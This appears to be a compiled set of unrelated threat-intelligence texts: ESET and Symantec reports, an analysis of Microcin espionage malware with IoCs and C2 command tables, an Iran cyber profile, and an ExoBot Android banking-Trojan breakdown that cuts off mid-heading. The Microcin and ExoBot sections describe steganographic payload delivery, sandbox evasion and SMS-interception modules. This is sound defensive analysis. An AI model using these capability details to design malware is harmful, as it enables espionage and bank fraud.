We should be in a position to tell boldly, “If the offenders are finding new techniques and tactics, so are we!”
**Funny Note 🙂**
The malware author of the above malware must be a fan of cartoon characters from the below file properties comments:
Comments = “Billy the goat ate all the autorun.inf files…because Old McDonald was sick of all the viruses and worms on his farm.” |
# ESET Threat Report T1 2021
## Foreword
Welcome to the T1 2021 issue of the ESET Threat Report! During the first four months of this year, the COVID-19 pandemic was still the number one news topic around the world; however, it became notably less prominent in the threat landscape. One could say “fortunately,” yet as you’ll see on the next pages, we are continuing to see worrying examples of cybercrooks being able to rapidly abuse trending vulnerabilities and flaws in configuration with focus on the highest ROI. These abuses include the RDP protocol still being the number one target of brute-force attacks, increased numbers of cryptocurrency threats, and a steep increase of Android banking malware detections.
While examining these threats, our researchers also analyzed a vulnerability chain that allows an attacker to take over any reachable Exchange server. The attack has become a global crisis and our researchers identified more than 10 different threat actors or groups that likely leveraged this vulnerability chain. Many servers around the world stayed compromised, so in the United States, the FBI decided to solve this issue by using the access provided by the malicious webshells themselves as an entry point to remove the webshells, which demonstrated the US government’s commitment to disrupt hacking activity using any and all legal tools that apply, not just prosecutions.
Similarly, following a large-scale, global operation to take down the infamous Emotet botnet, law enforcement pushed a module to all infested devices, to uninstall the malware. Will this become a new trend? Will we see law enforcement adopt a more proactive approach to solving cybercrime cases in the future? We’ll keep an eye out for that.
Before you dive into our latest findings, we would like to highlight a slight change in the frequency of the reported data. Starting with this issue we will aim for a triannual version, meaning that each report will cover a four-month period. For easier orientation, in this report the T1 abbreviation describes the period from January until April, T2 covers May through August, and T3 encompasses September till December.
This report brings several exclusive ESET research updates and new findings about the APT groups Turla and Lazarus. On the testing front, we allow other organizations to dissect and test our products and cybersecurity approach. That is why we participated in the MITRE ATT&CK® Evaluations that emulated the Carbanak and FIN7 adversary groups and whose results were published at the end of April.
During the past few months, we have continued to share our knowledge at virtual cybersecurity conferences, where we disclosed our findings about an emerging trend that evolved from the living-off-the-land technique and an in-depth analysis of Android stalkerware and its vulnerabilities. We’ve included that research in this report, which I invite you to read. Stay healthy and if you can, get a COVID-19 shot.
## Executive Summary
ESET researchers discovered that more than 10 different advanced persistent threat (APT) groups were exploiting several Microsoft Exchange vulnerabilities to compromise thousands of email servers. In early March, Microsoft released patches for Exchange Server 2013, 2016, and 2019 that fix four bugs that, when chained together, lead to a remote code execution (RCE) vulnerability. This vulnerability chain allows an attacker to take over any reachable Exchange server, without the need to know any valid account credentials. The media reported that according to a former senior U.S. official with knowledge of the investigation, the attack has claimed at least 60,000 known victims worldwide and has become a global crisis. These vulnerabilities were first disclosed by Orange Tsai, a well-known vulnerability researcher, who reported them to Microsoft on January 5, 2021. However, according to reports, several threat actors were targeting the same organization.
### Featured Story
Exchange servers under siege from at least 10 APT groups. The identified threat groups and behavior clusters are:
- **Tick aka Bronze Butler** – compromised the web server of a company based in East Asia that provides IT services. This group likely had access to an exploit prior to the release of the patches. Its main objective seems to be intellectual property and classified information theft.
- **LuckyMouse aka APT27 or Emissary Panda** – compromised the email server of a governmental entity in the Middle East. This APT group likely had an exploit at least one day before the patches were released, when it was still a zero day.
- **Calypso** – compromised the email servers of governmental entities in the Middle East and in South America. This group likely had access to the exploit as a zero day.
- **Websiic** – targeted seven email servers belonging to private companies in Asia and a governmental body in Eastern Europe. ESET named this activity cluster Websiic. The operators behind this cluster likely had access to the exploit before the patch’s release.
- **Winnti Group** – compromised the email servers of an oil company and a construction equipment company in Asia. The group likely had access to an exploit prior to the release of the patches.
- **Tonto Team aka CactusPete** – compromised the email servers of a procurement company and of a consulting company specialized in software development and cybersecurity, both based in Eastern Europe.
### Statistics & Trends
The threat landscape in T1 2021 as seen by ESET telemetry shows that overall detection trends remain stable as new developments unfold. The number of all threat detections in T1 2021 remained more or less the same as in T3 2020, only experiencing a slight decrease of 5%. Downloaders took a heavy blow due to the disruption and eventual shutdown of the Emotet botnet by law enforcement authorities. This takedown had a negative impact on many prominent malware families that had depended on it as their primary means of distribution.
Ransomware gangs exploited the recent Microsoft Exchange Server vulnerabilities and many families that belong to this category earned a fortune due to double-extortion, simultaneously encrypting and stealing data, threatening to leak it if the ransom is not paid. In the realm of cryptocurrency criminality, the vision of getting rich thanks to the rising prices of various cryptocoins acted as a powerful lure for malware operators.
### Top 10 Malware Detections
1. **VBA/TrojanDownloader.Agent trojan**
2. **LNK/Agent trojan**
3. **HTML/Phishing.Agent trojan**
4. **Win/Exploit.CVE-2017-11882 trojan**
5. **DOC/TrojanDownloader.Agent trojan**
6. **HTML/Fraud trojan**
7. **DOC/Fraud trojan**
8. **JS/Agent trojan**
9. **MSIL/TrojanDownloader.Agent trojan**
10. **MSIL/Spy.Agent trojan**
### Infostealers
Agent Tesla reigns supreme and TrickBot comes back from the brink of death. Infostealers, a new category introduced in this ESET Threat Report, comprise banking malware, spyware, backdoors, and cryptostealers, meaning any malware with data theft as its main purpose. In T1 2021, backdoors, cryptostealers, and banking malware all decreased significantly, but the category of infostealers as a whole grew by almost 12% when compared to T3 2020.
### Ransomware
Ransomware gangs exploit recent Microsoft Exchange Server vulnerabilities, add worm-like capabilities, and earn hundreds of millions of dollars, attracting new players to the scene. ESET telemetry shows another period of decline for ransomware in T1 2021. While a 27% drop in detections might seem high, it represents a slowdown in decline when compared to the 47% descent observed in T3 2020.
### Downloaders
Downloaders experienced a very strong decline, going down 32.4% from T3 2020. ESET telemetry detected one large spike in January caused by VBA/TrojanDownloader.Agent, mainly due to three of its variants: a Dridex downloader and an Emotet downloader that both use MS Excel macros, and a Formbook downloader.
### Cryptocurrency Threats
The growth of cryptocurrency threats, which started in the second half of 2020, continued in T1 2021. This malware category experienced an increase of 18.6% with two smaller spikes related to cryptominers in February and April. The upward trend comes as no surprise, since recent months have seen cryptocurrencies dramatically increase in value, becoming much more tempting for cybercriminals. |
# Microcin is Here
**Authors**
Denis Legezo
With asynchronous sockets, steganography, GitLab ban and a sock.
In February 2020, we observed a Trojan injected into the system process memory on a particular host. The target turned out to be a diplomatic entity. What initially attracted our attention was the enterprise-grade API-like (application programming interface) programming style. Such an approach is not that common in the malware world and is mostly used by top-notch actors.
Due to control server reuse (Choopa VPS service), target profiling techniques, and code similarities, we attribute this campaign with high confidence to the SixLittleMonkeys (aka Microcin) threat actor. Having said that, we should note that they haven’t previously applied the aforementioned coding style and software architecture. During our analysis, we didn’t observe any similar open-source tools, and we consider this to be the actor’s own custom code.
To deliver a new network module with a coding style that we consider enterprise-grade, Microcin used steganography inside photos, including this one of a sock (payload removed here). SixLittleMonkeys’ sphere of interest remains the same – espionage against diplomatic entities. The actor is still also using steganography to deliver configuration data and additional modules, this time from the legitimate public image hosting service cloudinary.com. The images include one related to the notorious GitLab hiring ban on Russian and Chinese citizens. In programming terms, the API-like architecture and asynchronous work with sockets is a step forward for the actor.
## Why We Consider the Current Software Architecture Interesting
By “enterprise-grade API-like programming style” we mean, firstly, asynchronous work with sockets. In terms of Windows user-space entities, it was I/O completion ports. In the OS kernel space, this mechanism is actually a queue for asynchronous procedure calls (APC). We believe there’s a reason for using it in backend applications on the high-loaded server-side. Obviously, however, neither client-side software nor Trojans of this kind need this server-side programming approach. So, it looks to us like the developers have applied some habits from server-side programming.
Secondly, the exported function parameters in the injected library look more like an API: the arguments are two callback functions – encryptor/decryptor and logger. So, if the authors decide to change encryption or logging algorithms, they could do so easily without even touching the network module. Once again, even targeted malicious samples rarely take such architectural issues into consideration.
Another injected library’s exported function parameter is the host name. If the caller doesn’t pass the infected host name as this parameter, the following commands will not be executed. It filters out all messages to other hosts.
## Initial Infection
**Module features**
**File name** | **Detection time**
Backdoor sideloaded by legit GoogleCrashHandler | version.dll | 2019.12.31
Downloader/decryptor inside spoolsv.exe address space | spoolsv.dll | 2020.01.16
Bitmap picture with steganography inside | Random .bmp name | 2020.01.16
Network module in the same spoolsv.exe address space | Module.dll | 2020.01.16
The backdoor is started by GoogleCrashHandler.exe, due to .dll search order hijacking (version.dll). Bitmap files with a steganography downloader and decryptor (spoolsv.dll), injected into the spoolsv.exe API-like network module, are injected into the same system process.
Let’s cover the modules one at a time. Our telemetry shows that another Microcin backdoor was already on the host before this new network module. It’s most probably a reinfection with newer malware.
**Backdoor**
**MD5** | **File name** | **Compilation timestamp** | **Size**
c9b7acb2f7caf88d14c9a670ebb18c62 | version.dll | 2020.05.20 02:37:58 | 407552
This UPX packed .dll was executed with the legitimate GoogleCrashHandler.exe (very common library search order hijacking) just before the New Year. The compilation timestamp is obviously spoofed. In this case, we don’t know how the backdoor, along with the legitimate application, was delivered. We won’t concentrate on this backdoor in this report, because it’s fairly typical for Microcin. We just want to emphasize that the timeline above shows it existed on the host before the analyzed module.
## Downloader/Decryptor
The campaign in question starts with the 64-bit spoolsv.dll downloader/decryptor module that has to be loaded by spoolsv.exe into its address space.
**Downloader/decryptor**
**MD5** | **Modified time** | **Size** | **Build** | **Target ID**
c7e11bec874a088a088b677aaa1175a1 | 2020.03.04 12:20:13 | 155291 | 20200304L02f | @TNozi96
ef9c82c481203ada31867c43825baff4 | 2019.10.15 11:46:04 | 145233 | 20200120L03o | @TNozi96
1169abdf350b138f8243498db8d3451e | 2019.01.25 04:58:15 | 150195 | 20191119L | 123456
So far, we have registered three samples of this module. The file tails contain the following encrypted configuration data.
**Parameter** | **Length (bytes)** | **Possible values**
.bmp URL | 4 | 82
.len .bmp URL | .bmp | http://res.cloudinary.com/ded1p1ozv/image/upload/v1579489581/<random_name>.bmp
Sleep time | 2 | 17211 and other non-round random numbers
Module build length | 4 | 15
Target ID length | 4 | 9
Random ASCII chars | 16 | Randomly generated on host
Hardcoded canary | 4 | 0x5D3A48B6
We have published the source code of our decryptor for Microcin’s configuration and steganography. The bitmap URL serves to download the image (like the one with the sock shown above) with the next stage network module. The module build, target ID, and random ASCII chars are for the next network module, which includes them in the control server communications.
To get the bitmap, the downloader sends an HTTP GET request to cloudinary.com. The steganography is inside the color palette part of the .bmp file. A typical decryption algorithm includes four stages:
1. Combine neighboring half bytes into one byte
2. Decrypt data length with custom XOR-based algorithm
3. Decrypt six-byte XOR key for main data
4. Decrypt data itself using decrypted length and key
Besides the configuration data and steganography, the same algorithm is used for the C2 traffic. As we mentioned, due to the malware architecture, the latter can easily be changed. Encryption is XOR-based, but the key scheduling is quite specific and tricky. In the corresponding appendix, we provide the part of the decryptor containing the algorithm.
## Bitmap Images and Steganography
Besides the sock image, the campaign operators use more social-oriented photos (payload removed here). The background here is the GitLab hiring ban on Russian and Chinese citizens. So far, we have registered four different images. The encrypted content in all cases are PE files with the following network module and C2 domain for the files. This is the only parameter that comes from bitmap; all others are provided by the downloader.
**Image content** | **C2 domain** | **Network module MD5**
Sock in washing machine | apps.uzdarakchi[.]com | 445b78b750279c8059b5e966b628950e
Two people in hoodies | forum.mediaok[.]info | 06fd6b47b1413e37b0c0baf55f885525
GitLab hiring ban | forum.uzdarakchi[.]com | 06fd6b47b1413e37b0c0baf55f885525
Woman with child, militaries | owa.obokay[.]com | 06fd6b47b1413e37b0c0baf55f885525
## Network In-Memory Module
The downloader decrypts the configuration data and C2 domain from the bitmap and then everything is ready to start the last stage inside the same spoolsv.exe virtual address space. We consider the architectural approach in this module to be the most interesting part of the chain.
The network module’s entry point is the exported function SystemFunction000() with multiple arguments. As a beacon, the Trojan prepares an HTTP POST request with the target’s fingerprinting data. A lot of the parameters become part of the request.
**Exported function** | **Parameter meaning**
Target host name | This has to be the same as the infected machine host name. Only then will the Trojan start and receive commands. Initialized by the downloader
Target ID | We already enumerated these readable ASCII strings from the decrypted downloader’s config, e.g., @TNozi96
Build version | Inside these readable ASCII strings the dates are clearly mentioned. The C2 uses them to understand which build it’s currently working with
WORD field of fingerprint structure | Initialized with 0x4004 by the downloader. We don’t have enough data to describe this field’s meaning
C2 IP address and port number | The coordinates of the C2, initialized from the decrypted bitmap image
ASCII string in fingerprint structure | Unique random string generated by the downloader
BYTE to fingerprint structure | Initialized with 0x4004 by the downloader. We don’t have enough data to describe this field’s meaning
Half of maximum sleep time | Sleep time before the working cycle. Half because the full time is counted <this arg> + <random>%<this arg>. It’s effectively a maximum of a maximum sleep time
Logger address | First callback function address. In this case, it’s a logger function inside the downloader
Encryptor/decryptor address | Second callback function address. In this case, it’s an encryptor/decryptor function inside the downloader
The last two arguments illustrate why we call the network module API-like: any encryption and logging routine could be used without even touching the module code. We consider this programming approach as scalable and useful for large systems. Let’s take a look at these two callback arguments.
**Callback and its arguments** | **Callback features**
Logger takes ASCII string as a log message | Logger function whose parameter is the message text. In this module all the messages are shortenings like “LIOO”, “RDOE”, etc.
Encryptor/decryptor to deal with the traffic between host and C2, takes its length, encryption key, and the flag (0 to encrypt and 1 to decrypt) as argument data | Encryptor/decryptor function first used to encrypt the beacon with target’s fingerprint. It then decrypts C2 command structures and encrypts replies to them
The module uses the Windows API function WSAIoctl() – something rarely seen in malware – to get the ConnectEx() address and sends a prepared request. Another Windows API function, GetQueuedCompletionStatus(), is in charge of asynchronous work with I/O. In other words, the malware uses I/O completion ports for Windows user-space entities, which is effectively an APC queue in the OS kernel. The same data structure is used for both sides of the communication: from host to C2 and back. Let’s describe its main fields here.
**Field** | **Features**
Command code | One byte in the structure is the command code, which could vary from 0x00 to 0x16 (22). We describe the main network module commands in the table below
Error code | Another byte is used for the error code
Command argument | The main command field that takes all the necessary strings, etc. and also keeps fingerprinting data in the case of the beacon
So far, we have described the infection chain, module architecture, custom encryption, and HTTP POST-based C2 communication protocol. Last, but not least, is the command set shown in the table below.
**Command code** | **Command features**
3 | Check if target’s ID meets the parameter
4 | List logical drives
5 | List files
6 | Create directory
7 | Remove directory
8 | Copy file
9 | Move file
10 | Delete file
11 | Execute PE
12 | Execute Windows shell command
14 | Terminate program
15 | File download
16 | Read from downloaded file
17 | File upload
18 | Write to file
19 | Stop
20 | Sleep
## Infrastructure
**Domain** | **IP** | **First seen** | **ASN**
apps.uzdarakchi[.]com | 95.179.136[.]10 | November 11, 2019 | 20473
forum.uzdarakchi[.]com | 172.107.95[.]246 | February 7, 2020 | 40676
forum.mediaok[.]info | 23.152.0[.]225 | March 19, 2020 | 8100
owa.obokay[.]com | N/A (now parked)
## To Sum Up
This time the Microcin campaign has made an interesting step forward, not in terms of a fancy initial infection vector, but as programmers. The API-like network module is much easier to support and update. This improvement is not only about anti-detection or anti-analysis; it’s about software architecture and a step towards a normal non-monolithic framework implementation.
## IoC
**Downloader**
ef9c82c481203ada31867c43825baff4
1169abdf350b138f8243498db8d3451e
c7e11bec874a088a088b677aaa1175a1
**Network module**
f464b275ba90b3ba9d0a20b8e27879f5
9320180ef6ee8fa718e1ede01f348689
06fd6b47b1413e37b0c0baf55f885525
625a052ddc80efaab99efef70ba8c84f
**Domains and IPs**
95.179.136.10
apps.uzdarakchi[.]com
forum.uzdarakchi[.]com
forum.mediaok[.]info
owa.obokay[.]com |
# Sandworm Windows Zero-Day Vulnerability Being Actively Exploited
A critical new vulnerability in the Windows operating system is reportedly being exploited in a limited number of attacks against targets in the US and Europe. The Microsoft Windows OLE Package Manager Remote Code Execution Vulnerability (CVE-2014-4114) allows attackers to embed Object Linking and Embedding (OLE) files from external locations. The vulnerability can be exploited to download and install malware on the target’s computer. It appears to have been used by a cyberespionage group known as Sandworm to deliver Backdoor.Lancafdo.A (also known as the Black Energy back door) to targeted organizations.
The vulnerability affects all versions of Windows from Windows Vista Service Pack 2 up to Windows 8.1 and Windows Server versions 2008 and 2012. It relates to how Windows handles OLE, a Microsoft technology that allows rich data from one document to be embedded in another or a link to a document to be embedded in another. OLE is generally used for embedding locally stored content, but this vulnerability enables the unprompted download and execution of external files.
## Active Exploitation Underway
The vulnerability was disclosed by iSIGHT Partners, which said that it had already been exploited in a small number of cyberespionage attacks against NATO, several unnamed Ukrainian government organizations, a number of Western European governmental organizations, companies operating in the energy sector, European telecoms firms, and a US academic organization. According to telemetry, attacks using this payload have been underway since August. iSIGHT has attributed these attacks to an advanced persistent threat (APT) group it has named Sandworm.
Attacks to date have seen targeted individuals receive a spear-phishing email containing a malicious PowerPoint file attachment, which is detected by Symantec as Trojan.Mdropper. The PowerPoint file contains two embedded OLE documents containing URLs. If the targeted user opens the PowerPoint file, these URLs are contacted and two files are downloaded, one .exe and one .inf, which will install malware on the computer. Symantec detects this malware payload as Backdoor.Lancafdo.A.
Once installed on the target’s computer, this back door allows attackers to download and install other malware. The malware may also download updates for itself, including an information-stealing component. While the current exploits are using PowerPoint files, given the nature of the vulnerability, we may eventually see this exploit crop up in different Office file types such as Word documents or Excel spreadsheets.
Symantec regards this vulnerability as critical, since it allows attackers to remotely run code on the target’s computer. While it has been exploited on a limited basis in the wild, other groups are likely to attempt to take advantage of it now that its existence has been publicized.
## Advice for Businesses and Consumers
Symantec advises all affected Windows users to take the following actions:
- Immediately apply security patches once available from Microsoft
- Ensure that your security software is up-to-date
- Exercise caution when opening email attachments, particularly from unknown sources
## Symantec Protection
Symantec customers are protected against the malware being used in attacks exploiting this vulnerability with the following detections. Symantec customers that use the Symantec.Cloud service are protected from spam messages used to deliver malware.
### Update – October 15, 2014
Microsoft has now issued a security bulletin which provides a patch for the vulnerability. Symantec recommends that all users apply the patch published in Microsoft Security Bulletin MS14-060. |
# Islamic Republic of Iran
**Chief of State:** Supreme Leader Ali Hoseini-Khamenei
**Government:** Theocratic Republic
**Capital:** Tehran
**National Holiday:** 1st April
**GDP by sector:** Agriculture (9.1%), Industry (39.9%), Services (51%)
**Export Partners:** China (22.4%), India (8.7%), Turkey (8.5%), Japan (4.5%)
**Import Partners:** UAE (39.5%), China (22.3%), South Korea (4.7%), Turkey (4.6%)
**Top Exports:** Petroleum (80%), Chemical and petrochemicals, fruit and nuts, carpets, cement, ore
**Conflict areas:** Syria, Iraq, Yemen, Israeli occupation of Palestine, US interference, Saudi Arabian influence
**Major Religions:** Muslim (99.4%) — Shia (90–95%), Sunni (5–10%), other (Zoroastrian, Jewish and Christian)
## Current Landscape
### International Relations
Iran’s foreign policy with its neighbours and globally is entrenched in a number of issues. One that is dominated by the petrochemical industry, nuclear enrichment, an ideological framework, regional turmoil, and relative isolation. Since the fall of the Soviet Union and the increased presence of US troops in the region, it has had to handle perceived existential threats from the US and its allies. Overall, Iran experiences cordial relations with South Caucasus and Central Asia, underpinned by a pragmatic outlook that does not want to upset Moscow or Beijing. It sees Armenia as its “gateway to Europe” and Turkmenistan as its “gateway to Central Asia.” Iran prioritises relations from the Persian Gulf and Levant alongside Turkey. It sees Israel and Saudi Arabia as threats to its existence and its future as the dominant regional power. Iran’s nuclear ambitions have been the cause for ongoing international sanctions against its financial, petrochemical, transportation, and shipping sectors.
### Internal Security Posture
Securing control of its internal political space is a top priority for the Iranian regime. The ability to cause societal discontent through online communication channels and generate conflict was felt keenly by the Middle East in the aftermath of the Arab Spring in 2011. Since then, Iran has invested in internal internet governance and pursued a hard-line stance against perceived dissident or anti-revolutionary activity. The Islamic Revolutionary Guard Corps (IRGC) website details some of the country’s strategy in this area, justifying its goals as helping to define parameters for “acceptable culture.” The pursuit of internal control has led to the implementation of the National Information Network (NIN), which monitors internet usage and blocks subversive content.
### National Cyber-Strategy
Iran’s attention was drawn to the development of its own offensive and defensive cyber capability after being attacked by the Stuxnet virus. The government pledged significant investment in cyber capabilities, creating the Supreme Council of Cyberspace (SCC) and various cyber units. Freedom of expression is regularly reported as being restricted, and many ordinary users of social media have been arrested for making comments on controversial issues. In 2016, Iran carried out the largest mass executions in years. Despite being considered a moderate, President Rouhani has been accused of not doing enough to counter the more hard-line actions of the judiciary or the IRGC.
## Economy
Iran is the second largest economy (after Saudi Arabia) in the Middle East and North African region (MENA) and has the second largest population after Egypt. The country relies heavily on oil revenues. Rigorous implementation of sanctions over the last several years has been hard-hitting on the economy. Between 2011 and 2014, the currency took a nosedive as the Rial lost 80% of its value against the dollar. Iran has the second largest proven natural gas deposits globally, but it requires foreign investment to counter the impact of sanctions.
## Supreme National Security Council (SNSC)
**Head:** Supreme Leader Ali Hoseini-Khamenei
**President:** President Hassan Fereydoon Rouhani
**Areas of Concern:** To “watch over the Islamic revolution and safeguard the Islamic Republic of Iran’s national interests.” To “coordinate political, intelligence, social, cultural, and economic activities.”
## Ministry of Intelligence and Security
**Minister:** Seyyed Mahmoud Alavi
**Headquarters:** Mehran, Tehran, Tehran Province, Iran
**Type of Service:** Domestic intelligence service
**Areas of Concern:** Intelligence collection and analysis, counter-intelligence, disinformation, works with Quds-Force to identify antirevolutionary forces, provides resources to proxy-groups (Hamas, Hezbollah, etc.)
## Islamic Revolutionary Guard Corps (IRGC)
**Chief Commander:** Maj. Gen. Mohammad Ali Jafari
**Areas of Concern:** Defending the regime, military operations, HUMINT, SIGINT
**Branches:** Land force, Navy, Airforce, Intelligence Unit, Quds-force (special forces), Basij (has cyberspace council)
## Cyber Police FATA
**Chief:** Seyyed Kamal Hadianfar
**Headquarters:** Police Headquarter, Attar street, Vanak Sq, Tehran, Iran
**Type of Service:** Law enforcement
**Areas of Concern:** Monitoring online activity including social media, combating fraud, working with international partners to combat organized crime.
## Passive Defensive Organization & Cyber Defense Command
**Commander:** Brigadier General Gholam-Reza Jalali
**Parent Organisation:** General Staff of the Armed Forces
## Activity Overview
The Islamic Republic’s revolutionary foundations have helped to orient its offensive activities in an asymmetric fashion. This is because of the unique regional influences it has to contend with, including a number of global powers exercising direct and indirect power over its affairs. The early trauma of the Stuxnet virus has allowed Iran to experience first-hand the impact of such a campaign. With investment, a sophisticated offensive cyber capability could grant Iran the leverage it craves as a US deterrent and regional power.
## Future Concerns
### Saudi Arabia
The relationship between Riyadh and Tehran has been tenuous and complex. The two regional powers are usually discussed in the context of their ideologically opposed religious affiliation. The conflict between the two countries was deepened by a harsh anti-Iranian resolution issued at the UN in 2016 and the execution of a prominent Shia cleric Sheikh Nimr al-Nimr. Iran provides training and resources to groups such as Lebanese Hezbollah, Badr Corps, Kata’ib Hezbollah, and Asa’ib ahl al-Haq.
### The United States
The United States has already been the recipient of some of Iran’s offensive activity. The US is responsible for the implementation of harsh international sanctions that have demonstrably impacted the Iranian economy. The JCPOA, agreed upon by moderate President Hassan Rouhani with the P5+1, provided some sanctions relief and contributed to economic growth in 2016. However, the real threat of fresh and revived sanctions from the Trump administration is likely to hurt Iran’s renewed optimism.
### Israel
Iran has pursued an aggressive stance towards Israel since the fall of the Soviet Union. The creation of the state of Israel and the expansion of settlements is a historic wound and reminder of Western interference in the region. Iran is accused of funding and equipping Palestinian paramilitary group Hamas with missiles. During Operation Protective Edge in 2014, Iran is attributed to a number of cyber-attacks against Israeli entities.
### Kazakhstan
The location of Kazakhstan combined with it being the top producer of Uranium makes this country a very important ally of Iran. Sanctions impacted economic exchanges between the two states. Diplomatic relations have come under suspicion in the past as Iran is accused of only being interested in knowledge transfer from Kazakhstan’s scientists and as a source of Uranium. |
# IBM X-Force Delves Into ExoBot's Leaked Source Code
**By Shahar Tavor co-authored by Limor Kessem**
**September 10, 2018**
Following the recent source code leak of the Android banking Trojan ExoBot, IBM X-Force research delved into the malware’s inner workings to help uncover insights into its dynamic mechanisms and the features that help criminals use it in cross-channel bank fraud.
## ExoBot Genesis
ExoBot is Android malware that was based originally on a previous code known as Marcher. This code represents a banking Trojan that uses the overlay technique — that is, popping up fake windows that hide the original app users open — to trick victims into tapping their banking credentials into a fake interface. After stealing account access details, the malware can also intercept SMS messages and phone calls, thereby enabling criminals to take over the victim’s bank account and other financial accounts at their discretion.
Some of the capabilities that enable ExoBot to facilitate fraudulent activity on infected devices include gaining admin privileges, launching overlay screens, and exfiltrating SMS, data, and other information from the infected device. In 2016, ExoBot’s developer was selling the malware on the clear web for a while, even advertising an upgrade in May 2017. In January 2018, the actor decided to sell it off in the underground, but by May 2018, the source code was leaked online by an unknown actor. Source code leaks, especially those of Android malware codes, have happened in the recent past. When they do, they give rise to variants and variations of the same malware, lowering the bar for more criminals to enter the mobile malware scene and try their hand at mobile banking fraud.
## Delving Into ExoBot’s Inner Workings
The following sections describe technical details about ExoBot as analyzed by X-Force mobile threat researcher Shahar Tavor.
### Architecture Basics
Having analyzed ExoBot’s leaked source code, X-Force researchers found the malware to possess some notable features, such as dynamic modules loaded at runtime and some anti-emulation tricks to evade popular sandboxes.
The overall routine occurs as follows:
1. An Android mobile device user unknowingly downloads a loader app via SMS spam or directly from the official store.
2. The loader app calls back to the attacker’s command-and-control (C&C) server and is replied with the most recent version of the malware binary.
3. ExoBot is fetched and executed on the device.
4. ExoBot downloads a .dex file from the C&C server. This file is the malware’s main module. This component is central to ExoBot’s functionality, and without it, most malware features would not work.
5. The attacker can now send commands to the malware; those are handled by the main module.
### ExoBot’s Infection Routine
ExoBot mostly spreads to new devices via SMS spam and sometimes via downloader apps that make it into the official stores.
#### First Run
At its first run on a device, ExoBot removes the application icon from the home screen, minimizes all running apps, and then shows the home screen so that the infected user wouldn’t notice anything new on his or her device.
### OpSec Checks
To evade sandboxes and automated analysis, ExoBot performs several checks before running:
- **Anti-emulation checks** — ExoBot checks the environment’s build model, International Mobile Equipment Identity (IMEI), and registered operator.
- **Antidebugging** — ExoBot uses the isDebuggerConnected() function to determine if a debugger is attached to the device.
- **Country filter** — ExoBot’s developer included a special list of countries where the malware should not run:
- Armenia
- Azerbaijan
- Belarus
- Canada
- Kazakhstan
- Kyrgyzstan
- Moldova
- Russia
- Serbia and Montenegro
- Slovakia
- Tajikistan
- Turkmenistan
- Ukraine
- United States
- Uzbekistan
Interestingly, Canada and the U.S. are on the list of countries that would not be targeted. A second filter is applied by the language set on the device. The following language specifications will make ExoBot stop running on the device:
- Armenian
- Azeri (Latin)
- Belarusian
- Chinese
- Czech
- Indo-European
- Kyrgyz
- Romanian
- Russian
- Slovak
- Turkish
- Ukrainian
- Uzbek (Latin)
### Device Admin Request
To be able to use all of its features, especially locking the user’s screen and changing the lock screen’s password, ExoBot needs to run with admin permissions. Requiring this permission level involves the infected user, and to solicit his or her help, ExoBot displays a fake screen that purports to be the GNU General Public License.
By gaining the admin permission level, ExoBot can also establish its persistence mechanism and ensure that the user would not be able to remove the app without disabling the malware with equal permissions. Getting rid of ExoBot involves manually removing it from the device admin apps list. Unfortunately, even after removals, ExoBot will pop up a screen asking the user to activate it.
### Obfuscation
To keep its resources protected, ExoBot’s developer uses two obfuscation techniques:
1. **String protection** — The malware’s operator can elect to replace all string characters with a key of his or her choosing. This can be reversed by a decrypt function, which replaces the new key with the default key and reverts to the previous string.
2. **Advanced Encryption Standard (AES)** encryption of requests and responses from the C&C server, as well as encrypting the malware’s configuration. The encryption was implemented using a hardcoded key and then Base64 encoding.
### ExoBot’s Continuous C&C Communication
With new infections, ExoBot retrieves modules from the C&C server and then continually keeps in touch with it to check for new tasks assigned by the attacker. If new tasks are found, ExoBot queues them for execution in a designated file located in a private folder on disk. All the information in the queue is saved in encrypted form. The queue file is used throughout the malware’s activity and life cycle.
To keep on top of tasks, ExoBot checks them periodically and by an alarm setup. Requests and responses are kept encrypted in JavaScript Object Notation (JSON) format. Until a new task is sent through, the malware will continue to update the C&C server with information about the device, the installed apps, and a configuration status. ExoBot’s C&C communication is secured with an SSL.
To identify devices, each infected device receives a unique MD5 with its identifiers: IMEI, build model, central processing unit (CPU), and Android ID. The details are transmitted to the C&C server under the “I” field inside every JSON request.
### Dynamic Module Loading
Unlike similar malware, ExoBot has a unique method to load its modules in a dynamic way. The developer here used the payload to manage module loading. The main module is the component that downloads the modules from the C&C on its first run, and it’s also the component that handles them later when they are required to run.
Modules are loaded to memory in reflection, giving the malware the ability to inspect and dynamically call classes, methods, and attributes at runtime instead of having to do that at compile time. The reflection is implemented using the Android DexClassLoader application programming interface (API), which is a class loader that allows an application to load .jar and APK files. This method can be used to execute code that was not previously installed as part of an existing app and load it into that app during runtime.
Note that ExoBot’s .dex file is still present on disk, but the code is not packed within the APK. Using reflection in this case allows the malware to avoid static analysis of its modules and keep them out of antivirus engines’ sight. Moreover, loading in runtime gives ExoBot added agility. It can fetch new modules from the C&C server at any time and add/update its features easily and quickly on devices that are already infected.
### Module Execution
To execute modules, ExoBot’s C&C server sends the malware a command with relevant parameters alongside the MD5 hash of a .dex file that contains the module to ensure the correct one is executed: `data/data/app_package_name/m/md5(module_name).dex`. The malware then proceeds with the required action on the infected device.
In some cases, the module may not exist in the malware’s folder on the device, and it will launch a request to download it from the C&C server. A result in JSON format contains data returned from the module alongside an API status field indicating whether the module is running properly or has failed.
### ExoBot’s Module List
The following table shows the modules that enable ExoBot’s capabilities.
**Active Modules**
- **notification**: Show notification. A tap on the notification screen will launch a specified app.
- **ussd**: Execute USSD code.
- **send_sms (sms)**: Send single SMS from the bot to a specified phone number.
- **mass_sms**: Send SMS to all contacts.
- **mass_sms_plus**: Send SMS by list of URLs specified in Settings.
- **screen_lock_on**: Lock device screen with a specified webpage the server sends.
- **screen_lock_off**: Disable screen lock.
- **intercept_on**: Send all incoming SMS to attacker’s control panel. Delete SMS from devices older than Android v4.4 (if higher – use the deleted SMS).
- **intercept_off**: Disable SMS Intercept.
- **kill_on**: Disable screen permanently, mute sound, change lock screen password. *Parameters: password (Default value: 9990).
- **kill_off**: Unlock screen and remove lock screen password.
- **update_info**: Update full bot information (language, operator, list of apps, contacts, IMEI, OS version, number, device model).
- **sms_redirect**: Forward incoming SMS to a specified phone number.
- **repeat_inject**: Repeat activation of previous overlay.
- **get_contacts**: Get contacts from an address book of the phone.
- **fire_cc**: Display a fake screen requesting the victim’s credit card details.
**Inactive Modules**
- **unblock_inject**: Start showing an overlay for specified app.
- **block_inject**: Stop showing overlay for specified app.
- **admin_phone**: Set admin to control bot by SMS.
- **api_server**: Change API server list.
- **request_coordinates**: Get current location.
- **request_token**: Ask for victim’s one-time password/token from a device folder.
### ExoBot’s Overlay Screen Mechanism
